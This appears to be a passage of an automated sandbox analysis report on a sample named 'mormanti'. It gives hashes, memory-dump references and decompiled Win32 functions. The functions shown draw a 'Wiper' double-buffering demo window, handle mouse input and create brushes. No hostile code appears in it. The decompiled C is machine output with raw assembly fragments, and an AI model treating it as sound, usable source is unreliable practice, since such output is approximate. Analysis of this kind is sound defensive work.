Opcode Fuzzy Hash: 06edf3a5fa7240f74c324cc7a93d6480effee33e413d48d210d0f490493c4704
Instruction Fuzzy Hash: 9E51E2B2D42709EBEB58CFA5D6895CDFBB1EF44310F20C09AC445AB2A0D7785F85AB50

Uniqueness

Uniqueness Score: -1.00%

Function 02DC2BFC, Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

i), xrefs: 02DC2D50
,+, xrefs: 02DC2C75

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID: ,+$i)
API String ID: 0-2095692697
Opcode ID: 06edf3a5fa7240f74c324cc7a93d6480effee33e413d48d210d0f490493c4704
Instruction ID: fc3756ffa7e438eeff6c61a46eb9fdf30cae995eefdd4baffe112f3760c018dd
Opcode Fuzzy Hash: 06edf3a5fa7240f74c324cc7a93d6480effee33e413d48d210d0f490493c4704
Instruction Fuzzy Hash: 2F51C2B1D42709EBEB58CFA9D6895CDFBB1EF44310F20C09AC445AB250D7785B85AB40

Uniqueness

Uniqueness Score: -1.00%

Function 02DB0467, Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: d729209d8c0f9a500250998417222cb013b7928a6e60230b2bf7694785a026b4
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: B631A07660434ACFC711DF18D490AABB7E4FF88309F4549ADE59687312E730E906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02DB277C, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf7215f2012e7721943fb902af0a867eef1b18a0ed53c9f5cc091a5af86874a
Instruction ID: 578bb16124952d226fb64c796914d9d8f26f4d38d996da12128050eaa754f245
Opcode Fuzzy Hash: eaf7215f2012e7721943fb902af0a867eef1b18a0ed53c9f5cc091a5af86874a
Instruction Fuzzy Hash: 66E04F33320550DBCB26DA5484A49E6F3F5EF813707290969DD87A3B00C320BC01C754

Uniqueness

Uniqueness Score: -1.00%

Function 02DC2E3D, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf7215f2012e7721943fb902af0a867eef1b18a0ed53c9f5cc091a5af86874a
Instruction ID: ed14a6634285d1a91bfa8022e00ea767e7e50a64dbe8e3128c9c67d756f54de8
Opcode Fuzzy Hash: eaf7215f2012e7721943fb902af0a867eef1b18a0ed53c9f5cc091a5af86874a
Instruction Fuzzy Hash: 84E04F723205568BC630DA988484956F3A9EB80770B39087DE985B3710C320BC00C750

Uniqueness

Uniqueness Score: -1.00%

Function 02DB304D, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, Offset: 02DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2db0000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 02DC370E, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, Offset: 02DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dc1000_mormanti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00C113AF, Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 231
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00C113AF(void* __ebx, void* __edi, void* __esi, void* __eflags, long long __fp0) {
				intOrPtr _t104;
				void* _t105;
				signed int _t114;
				intOrPtr _t117;
				struct HRGN__* _t120;
				signed int _t128;
				void* _t148;
				void* _t150;
				CHAR* _t151;
				int _t152;
				int _t154;
				void* _t159;
				signed int _t160;
				intOrPtr _t177;
				struct HDC__* _t178;
				int _t180;
				intOrPtr _t181;
				void* _t187;
				void* _t188;
				long long* _t189;
				long long* _t190;
				void* _t208;

				_push(0x10c);
				E00C130B8(E00C1339A, __ebx, __edi, __esi);
				GetClientRect( *(_t187 + 8), _t187 - 0x28);
				_t177 =  *((intOrPtr*)(_t187 - 0x1c));
				_t180 =  *(_t187 - 0x24);
				 *((intOrPtr*)(_t187 - 0x10)) =  *((intOrPtr*)(_t187 - 0x20)) -  *(_t187 - 0x28);
				asm("fild dword [ebp-0x10]");
				 *((intOrPtr*)(_t187 - 0x10)) = _t177 - _t180;
				 *((long long*)(_t187 - 0x38)) = __fp0;
				_t104 =  *0xc16050; // 0x177
				asm("fild dword [ebp-0x10]");
				 *((long long*)(_t187 - 0x40)) = __fp0;
				asm("fchs");
				asm("fxch st0, st1");
				_t208 = st1 - st2;
				asm("fild dword [0xc16050]");
				if(_t104 < 0) {
					_t208 = _t208 +  *0xc14438;
				}
				asm("fdivp st1, st0");
				asm("fimul dword [0xc165a8]");
				asm("faddp st1, st0");
				_t105 = E00C13140(_t104, _t208);
				 *(_t187 - 0x14) = _t105;
				asm("fiadd dword [ebp-0x14]");
				 *(_t187 - 0x50) = _t105;
				 *(_t187 - 0x4c) = _t180;
				_t181 = E00C13140(_t105, _t208);
				 *((intOrPtr*)(_t187 - 0x44)) = _t177;
				_t178 =  *(_t187 + 0xc);
				 *((intOrPtr*)(_t187 - 0x48)) = _t181;
				 *((intOrPtr*)(_t187 - 0x10)) = 0x99ff;
				if( *0xc1603c != 0) {
					_t178 = E00C11271( *(_t187 + 8));
					 *((intOrPtr*)(_t187 - 0x10)) = 0x8e48;
				}
				FillRect(_t178, _t187 - 0x28, GetStockObject(0));
				 *(_t187 - 0x18) = CreateRectRgnIndirect(_t187 - 0x28);
				asm("cdq");
				_t160 = 3;
				_t114 = (_t181 -  *(_t187 - 0x14)) / _t160;
				 *((intOrPtr*)(_t187 - 0x6c)) =  *((intOrPtr*)(_t187 - 0x44));
				 *(_t187 - 0x64) =  *(_t187 - 0x4c);
				_t117 =  *((intOrPtr*)(_t187 - 0x20));
				 *((intOrPtr*)(_t187 - 0x60)) = _t117;
				 *((intOrPtr*)(_t187 - 0x58)) = _t117;
				 *((intOrPtr*)(_t187 - 0x54)) =  *((intOrPtr*)(_t187 - 0x1c));
				 *(_t187 - 0x70) =  *(_t187 - 0x14) + _t114;
				 *((intOrPtr*)(_t187 - 0x68)) = _t181 - _t114;
				 *(_t187 - 0x5c) =  *(_t187 - 0x24);
				_t120 = CreatePolygonRgn(_t187 - 0x70, 4, 1);
				 *(_t187 - 0x14) = _t120;
				CombineRgn( *(_t187 - 0x18),  *(_t187 - 0x18), _t120, 4);
				 *(_t187 - 0x2c) = SaveDC( *(_t187 + 0xc));
				SelectObject(_t178,  *0xc165c0);
				SelectObject(_t178, GetStockObject(0));
				_t189 = _t188 - 0x10;
				 *((long long*)(_t189 + 8)) =  *((long long*)(_t187 - 0x40));
				 *_t189 =  *((long long*)(_t187 - 0x38));
				_t128 = E00C1186A(0xc165f4);
				_t190 = _t189 + 0xc;
				 *((long long*)(_t190 + 8)) =  *((long long*)(_t187 - 0x40));
				 *_t190 =  *((long long*)(_t187 - 0x38));
				E00C1186A(0xc16610, _t178,  *(_t187 - 0x18), (_t128 & 0xffffff00 |  *0xc1603d == 0x00000000) & 0x000000ff, _t178,  *(_t187 - 0x14),  *0xc1603d & 0x000000ff);
				RestoreDC( *(_t187 + 0xc),  *(_t187 - 0x2c));
				DeleteObject( *(_t187 - 0x14));
				DeleteObject( *(_t187 - 0x18));
				E00C116A2(E00C119A1(_t187 - 0x50, _t178,  *((intOrPtr*)(_t187 - 0x10))), (_t181 -  *(_t187 - 0x14)) % _t160,  *((long long*)(_t187 - 0x38)));
				SetBkMode(_t178, 1);
				DrawTextA(_t178, " -  Hold Left Mouse Button down on window to pause screen updates.\n -  Drag with Left Mouse Button to move the Wiper right and left.\n -  Right Click to toggle painting mode.  Wiper color indicates mode:\n        Green:  Paint indirectly using a double buffer\n        Orange: Paint directly to the display", 0xffffffff, _t187 - 0x28, 0);
				_t159 = 3;
				__imp__??0?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@H@Z(GetStockObject, 1);
				 *(_t187 - 4) =  *(_t187 - 4) & 0x00000000;
				 *((intOrPtr*)(_t187 +  *((intOrPtr*)( *((intOrPtr*)(_t187 - 0x118)) + 4)) - 0x118 + 0x10)) = 0x2000;
				 *((long long*)(_t190 + 0x1c - 0xc + 4)) =  *0xc165b8;
				 *((intOrPtr*)(_t187 +  *((intOrPtr*)( *((intOrPtr*)(_t187 - 0x118)) + 4)) - 0x118 + 0x14)) = GetStockObject;
				_t148 = E00C11EAD(_t159, _t178, DrawTextA,  *0xc1603d);
				__imp__??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z(_t187 - 0x110, "FrameRate: ", " FPS");
				E00C11EAD(_t159, _t178, DrawTextA,  *0xc1603d);
				_t150 = _t187 - 0x8c;
				__imp__?str@?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@XZ(_t150, _t148);
				if( *((intOrPtr*)(_t150 + 0x18)) < 0x10) {
					_t151 = _t150 + 4;
					__eflags = _t151;
				} else {
					_t151 =  *(_t150 + 4);
				}
				_t152 = DrawTextA(_t178, _t151, 0xffffffff, _t187 - 0x28, 0x6a);
				__imp__??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ();
				if( *0xc1603c != 0) {
					_t154 = E00C13140(_t152,  *((long long*)(_t187 - 0x40)));
					_t152 = BitBlt( *(_t187 + 0xc),  *(_t187 - 0x28),  *(_t187 - 0x24), E00C13140(_t154,  *((long long*)(_t187 - 0x38))), _t154, _t178, 0, 0, 0xcc0020);
				}
				 *(_t187 - 4) =  *(_t187 - 4) | 0xffffffff;
				__imp__??_D?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXXZ();
				return E00C13121(_t152);
			}

0x00c113af
0x00c113b9
0x00c113c5
0x00c113d1
0x00c113d4
0x00c113d7
0x00c113da
0x00c113e1
0x00c113e4
0x00c113e7
0x00c113ec
0x00c113ef
0x00c11404
0x00c11406
0x00c11408
0x00c1140a
0x00c11412
0x00c11414
0x00c11414
0x00c1141a
0x00c1141c
0x00c11422
0x00c11424
0x00c11429
0x00c1142c
0x00c1142f
0x00c11432
0x00c11441
0x00c11443
0x00c11446
0x00c11449
0x00c1144c
0x00c11453
0x00c1145e
0x00c11460
0x00c11460
0x00c11477
0x00c11487
0x00c11491
0x00c11492
0x00c11493
0x00c114a3
0x00c114a9
0x00c114ac
0x00c114af
0x00c114b2
0x00c114b8
0x00c114bb
0x00c114c5
0x00c114c8
0x00c114cb
0x00c114d7
0x00c114dd
0x00c114f9
0x00c114fc
0x00c11504
0x00c11510
0x00c11513
0x00c1151a
0x00c11527
0x00c1152f
0x00c11539
0x00c11543
0x00c11553
0x00c11561
0x00c11570
0x00c11575
0x00c11585
0x00c1158d
0x00c115a7
0x00c115ad
0x00c115b5
0x00c115bb
0x00c115d5
0x00c115f4
0x00c115f8
0x00c11607
0x00c11611
0x00c11618
0x00c1161f
0x00c1162c
0x00c11636
0x00c1163d
0x00c1163d
0x00c11638
0x00c11638
0x00c11638
0x00c1164a
0x00c11652
0x00c1165f
0x00c1166e
0x00c11686
0x00c11686
0x00c1168c
0x00c11696
0x00c116a1

APIs

__EH_prolog3.LIBCMT ref: 00C113B9
GetClientRect.USER32 ref: 00C113C5
GetStockObject.GDI32(00000000), ref: 00C1146F
FillRect.USER32 ref: 00C11477
CreateRectRgnIndirect.GDI32(?), ref: 00C11481
CreatePolygonRgn.GDI32(00000004,00000004,00000001), ref: 00C114CB
CombineRgn.GDI32(?,?,00000000,00000004), ref: 00C114DD
SaveDC.GDI32(?), ref: 00C114E6
SelectObject.GDI32(?), ref: 00C114FC
GetStockObject.GDI32(00000000), ref: 00C11500
SelectObject.GDI32(?,00000000), ref: 00C11504

Part of subcall function 00C1186A: SaveDC.GDI32(?), ref: 00C11878
Part of subcall function 00C1186A: SelectClipRgn.GDI32(?,?), ref: 00C11887
Part of subcall function 00C1186A: _invalid_parameter_noinfo.MSVCR90 ref: 00C118A9
Part of subcall function 00C1186A: SelectObject.GDI32(?,?), ref: 00C118C6
Part of subcall function 00C1186A: Ellipse.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C11928
Part of subcall function 00C1186A: Rectangle.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C1197D
Part of subcall function 00C1186A: RestoreDC.GDI32(?,?), ref: 00C11996

RestoreDC.GDI32(?,?), ref: 00C11561
DeleteObject.GDI32(?), ref: 00C11570
DeleteObject.GDI32(?), ref: 00C11575

Part of subcall function 00C119A1: CreateCompatibleDC.GDI32(?), ref: 00C119BB
Part of subcall function 00C119A1: SelectObject.GDI32(?,00000000), ref: 00C119E0
Part of subcall function 00C119A1: AlphaBlend.MSIMG32(?,?,00000000,?,?,?,00000000,00000000,?,?,00000000), ref: 00C11A0C
Part of subcall function 00C119A1: DeleteDC.GDI32(?), ref: 00C11A15

Part of subcall function 00C116A2: GetTickCount64.KERNEL32 ref: 00C116B1

SetBkMode.GDI32(?,00000001), ref: 00C1158D
DrawTextA.USER32(?, - Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer ,000000FF,?,00000000), ref: 00C115A7
??0?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@H@Z.MSVCP90(00000003,00000001), ref: 00C115B5

Part of subcall function 00C11EAD: __EH_prolog3_catch.LIBCMT ref: 00C11EB4
Part of subcall function 00C11EAD: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP90(?,00000000), ref: 00C11F81

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z.MSVCP90 ref: 00C11611

Part of subcall function 00C11EAD: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F33
Part of subcall function 00C11EAD: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z.MSVCP90(?,?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F55
Part of subcall function 00C11EAD: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?), ref: 00C11FBB

?str@?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@XZ.MSVCP90(?), ref: 00C1162C
DrawTextA.USER32(?,-00000004,000000FF,?,0000006A), ref: 00C1164A
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP90 ref: 00C11652
BitBlt.GDI32(?,?,?,00000000,00000000,?,00000000,00000000,00CC0020), ref: 00C11686
??_D?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXXZ.MSVCP90 ref: 00C11696

Strings

FPS, xrefs: 00C115E5
- Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer , xrefs: 00C115A1
FrameRate: , xrefs: 00C11601

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: U?$char_traits@$Object$D@std@@D@std@@@std@@SelectV?$allocator@$D@2@@std@@$CreateDeleteRect$?sputc@?$basic_streambuf@DrawRestoreSaveStockText$??0?$basic_stringstream@??1?$basic_string@??6?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?str@?$basic_stringstream@AlphaBlendClientClipCombineCompatibleCount64D?$basic_stringstream@D@2@@2@EllipseFillH_prolog3H_prolog3_catchIndirectModePolygonRectangleTickV01@V?$basic_string@_invalid_parameter_noinfo
String ID: - Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer $ FPS$FrameRate:
API String ID: 4093834667-1027468517
Opcode ID: 69d3e97cb03abbe5c4405062e4239594223c889a0303eaaba0cd614a0c41d1b1
Instruction ID: d30d96cb1c1ac9b74cbbf6e53ac4d61ea93ce59499565cd6c7905a83bc34e87f
Opcode Fuzzy Hash: 69d3e97cb03abbe5c4405062e4239594223c889a0303eaaba0cd614a0c41d1b1
Instruction Fuzzy Hash: 3E913AB1D00218AFDB059FA5EC49BEDBBB4FB0A310F158059F605A22A0DB319A95DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00C124A9, Relevance: 19.7, APIs: 13, Instructions: 171
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C124A9(void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				struct tagPAINTSTRUCT _v76;
				struct tagRECT _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				int _t24;
				long _t25;
				void* _t27;
				int _t28;
				signed int _t30;
				int _t31;
				int _t34;
				int _t36;
				signed short _t37;
				int _t42;
				int _t44;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t60;
				void* _t64;
				void* _t68;
				void* _t69;
				signed int _t71;
				unsigned int _t76;
				unsigned int _t77;
				signed int _t78;
				void* _t81;
				struct HWND__* _t83;
				void* _t84;
				intOrPtr _t86;
				void* _t87;
				void* _t90;
				signed int _t93;
				void* _t96;

				_t95 = (_t93 & 0xfffffff8) - 0x5c;
				_t20 =  *0xc16018; // 0x649a0353
				_v8 = _t20 ^ (_t93 & 0xfffffff8) - 0x0000005c;
				_push(_t68);
				_t86 = _a8;
				_t83 = _a4;
				_t96 = _t86 - 0x113;
				if(_t96 > 0) {
					_t24 = _t86 - 0x200;
					__eflags = _t24;
					if(_t24 == 0) {
						__eflags =  *0xc165dc;
						if( *0xc165dc == 0) {
							L40:
							_t25 = 0;
							__eflags = 0;
							L41:
							_pop(_t84);
							_pop(_t87);
							_pop(_t69);
							return E00C1272C(_t25, _t69, _v8 ^ _t95, _t81, _t84, _t87);
						}
						_t90 = (_a16 & 0x0000ffff) -  *0xc165e8 +  *0xc165f0;
						_t27 = E00C112E2(__fp0, _t83, _t90);
						 *0xc165e8 =  *0xc165e8 + _t27;
						__eflags =  *0xc165e8;
						 *0xc165f0 = _t90 - _t27;
						L39:
						goto L40;
					}
					_t28 = _t24 - 1;
					__eflags = _t28;
					if(_t28 == 0) {
						SetCapture(_t83);
						_t76 = _a16;
						_t30 = _t76 & 0x0000ffff;
						_t77 = _t76 >> 0x10;
						 *0xc165f0 =  *0xc165f0 & 0x00000000;
						 *0xc165e0 = _t30;
						 *0xc165e4 = _t77;
						 *0xc165e8 = _t30;
						 *0xc165ec = _t77;
						 *0xc165dc = 1;
						goto L40;
					}
					_t31 = _t28 - 1;
					__eflags = _t31;
					if(_t31 == 0) {
						ReleaseCapture();
						 *0xc165dc = 0;
						goto L40;
					}
					_t34 = _t31;
					__eflags = _t34;
					if(_t34 == 0) {
						SetCapture(_t83);
						 *0xc165dd = 1;
						goto L40;
					}
					_t36 = _t34 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						__eflags =  *0xc165dd;
						if( *0xc165dd != 0) {
							_t37 = _a16;
							GetClientRect(_t83,  &_v92);
							_push(_t37 >> 0x10);
							_t42 = PtInRect( &_v92, _t37 & 0x0000ffff);
							__eflags = _t42;
							if(_t42 != 0) {
								ReleaseCapture();
								_t44 =  *0xc1603c; // 0x1
								__eflags = _t44;
								_t78 = _t71 & 0xffffff00 | _t44 == 0x00000000;
								__eflags = _t44 - _t78;
								if(_t44 != _t78) {
									 *0xc1603c = _t78;
									E00C1122B();
								}
							}
						}
						 *0xc165dd = 0;
						goto L40;
					}
					__eflags = _t36 != 0xf;
					if(_t36 != 0xf) {
						L28:
						_push(_a16);
						_push(_a12);
						_push(_t86);
						L11:
						_t25 = DefWindowProcW(_t83, ??, ??, ??);
						goto L41;
					}
					L27:
					E00C1122B();
					goto L28;
				}
				if(_t96 == 0) {
					__eflags = _a12 - 0x7db;
					if(_a12 != 0x7db) {
						goto L40;
					}
					__eflags =  *0xc165dc;
					if( *0xc165dc != 0) {
						goto L40;
					}
					E00C11340(_t71, __fp0, _t83);
					goto L39;
				}
				_t50 = _t86 - 1;
				if(_t50 == 0) {
					SetTimer(_t83, 0x7db, 0xd, 0);
					goto L40;
				}
				_t52 = _t50 - 1;
				if(_t52 == 0) {
					PostQuitMessage(0);
					goto L40;
				}
				_t53 = _t52 - 3;
				if(_t53 == 0) {
					goto L27;
				}
				_t54 = _t53 - 0xa;
				if(_t54 == 0) {
					_push(BeginPaint(_t83,  &_v76));
					_push(_t83);
					E00C113AF(_t68, _t83, _t86, __eflags, __fp0);
					EndPaint(_t83,  &_v76);
					goto L40;
				}
				_t60 = _t54 - 5;
				if(_t60 == 0) {
					_t25 = 1;
					goto L41;
				}
				if(_t60 != 0xfd) {
					goto L28;
				}
				_t64 = (_a12 & 0x0000ffff) - 0x68;
				if(_t64 == 0) {
					DialogBoxParamW( *0xc1640c, 0x67, _t83, E00C126F5, 0);
					goto L40;
				}
				if(_t64 == 1) {
					DestroyWindow(_t83);
					goto L40;
				} else {
					_push(_a16);
					_push(_a12);
					_push(0x111);
					goto L11;
				}
			}

0x00c124af
0x00c124b2
0x00c124b9
0x00c124bd
0x00c124bf
0x00c124c8
0x00c124cb
0x00c124cd
0x00c125c8
0x00c125c8
0x00c125cd
0x00c126af
0x00c126b6
0x00c126df
0x00c126df
0x00c126df
0x00c126e1
0x00c126e5
0x00c126e6
0x00c126e7
0x00c126f2
0x00c126f2
0x00c126c2
0x00c126ca
0x00c126d1
0x00c126d1
0x00c126d8
0x00c126de
0x00000000
0x00c126de
0x00c125d3
0x00c125d3
0x00c125d4
0x00c1267a
0x00c12680
0x00c12683
0x00c12686
0x00c12689
0x00c12690
0x00c12695
0x00c1269b
0x00c126a0
0x00c126a6
0x00000000
0x00c126a6
0x00c125da
0x00c125da
0x00c125db
0x00c1266a
0x00c12670
0x00000000
0x00c12670
0x00c125e2
0x00c125e2
0x00c125e3
0x00c1265b
0x00c12661
0x00000000
0x00c12661
0x00c125e5
0x00c125e5
0x00c125e6
0x00c125fe
0x00c12605
0x00c12607
0x00c12618
0x00c1261e
0x00c12625
0x00c1262b
0x00c1262d
0x00c1262f
0x00c12635
0x00c1263a
0x00c1263c
0x00c1263f
0x00c12641
0x00c12643
0x00c12649
0x00c12649
0x00c12641
0x00c1262d
0x00c1264e
0x00000000
0x00c1264e
0x00c125e8
0x00c125eb
0x00c125f2
0x00c125f2
0x00c125f5
0x00c125f8
0x00c1251e
0x00c1251f
0x00000000
0x00c1251f
0x00c125ed
0x00c125ed
0x00000000
0x00c125ed
0x00c124d3
0x00c125a1
0x00c125a8
0x00000000
0x00000000
0x00c125ae
0x00c125b5
0x00000000
0x00000000
0x00c125bc
0x00000000
0x00c125bc
0x00c124db
0x00c124dc
0x00c12596
0x00000000
0x00c12596
0x00c124e2
0x00c124e3
0x00c12581
0x00000000
0x00c12581
0x00c124e9
0x00c124ec
0x00000000
0x00000000
0x00c124f2
0x00c124f5
0x00c12565
0x00c12566
0x00c12567
0x00c12574
0x00000000
0x00c12574
0x00c124f7
0x00c124fa
0x00c12553
0x00000000
0x00c12553
0x00c12501
0x00000000
0x00000000
0x00c1250b
0x00c1250e
0x00c12546
0x00000000
0x00c12546
0x00c12511
0x00c1252b
0x00000000
0x00c12513
0x00c12513
0x00c12516
0x00c12519
0x00000000
0x00c12519

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00C1251F
DestroyWindow.USER32(?), ref: 00C1252B
DialogBoxParamW.USER32 ref: 00C12546
BeginPaint.USER32(?,?), ref: 00C1255F
EndPaint.USER32(?,?), ref: 00C12574
PostQuitMessage.USER32(00000000), ref: 00C12581
SetTimer.USER32(?,000007DB,0000000D,00000000), ref: 00C12596
GetClientRect.USER32 ref: 00C12618
PtInRect.USER32(?,?,?), ref: 00C12625
ReleaseCapture.USER32 ref: 00C1262F
SetCapture.USER32(?), ref: 00C1265B
ReleaseCapture.USER32 ref: 00C1266A

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Capture$PaintRectReleaseWindow$BeginClientDestroyDialogMessageParamPostProcQuitTimer
String ID:
API String ID: 4219887922-0
Opcode ID: 4bcbdc3f403ab67b0540d227d422c6bf0f12c495759793245856cd1fe825af36
Instruction ID: c00cb71310d8a6d4bae1097ca9c37d419b06702d130885f312c91dfcdd2cba04
Opcode Fuzzy Hash: 4bcbdc3f403ab67b0540d227d422c6bf0f12c495759793245856cd1fe825af36
Instruction Fuzzy Hash: BB51D336008249AFD7259F69AC49BFE3BA9F707741F148019F991D21E8DB248DE0FB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C11129, Relevance: 12.0, APIs: 8, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C11129(intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				signed int _t21;
				void* _t25;

				srand(GetTickCount());
				 *0xc165c0 = CreatePen(0, 3, 0);
				 *0xc165c4 = CreateSolidBrush(0xededed);
				 *0xc165c8 = CreateSolidBrush(0xa8e2ff);
				 *0xc165cc = CreateSolidBrush(0x99ff);
				 *0xc165d0 = CreateSolidBrush(0x40ab76);
				 *0xc165cc = CreateSolidBrush(0x8e48);
				E00C11741(0xc165f4, _t21 & 0xfffffff8, _t25, _a4, _a8);
				return E00C11741(0xc16610, _t21 & 0xfffffff8, _t25, _a4, _a8);
			}

0x00c11138
0x00c11156
0x00c11162
0x00c1116e
0x00c1117a
0x00c11186
0x00c11198
0x00c1119d
0x00c111b9

APIs

GetTickCount.KERNEL32 ref: 00C11131
srand.MSVCR90 ref: 00C11138
CreatePen.GDI32(00000000,00000003,00000000), ref: 00C11145
CreateSolidBrush.GDI32(00EDEDED), ref: 00C1115B
CreateSolidBrush.GDI32(00A8E2FF), ref: 00C11167
CreateSolidBrush.GDI32(000099FF), ref: 00C11173
CreateSolidBrush.GDI32(0040AB76), ref: 00C1117F
CreateSolidBrush.GDI32(00008E48), ref: 00C1118B

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
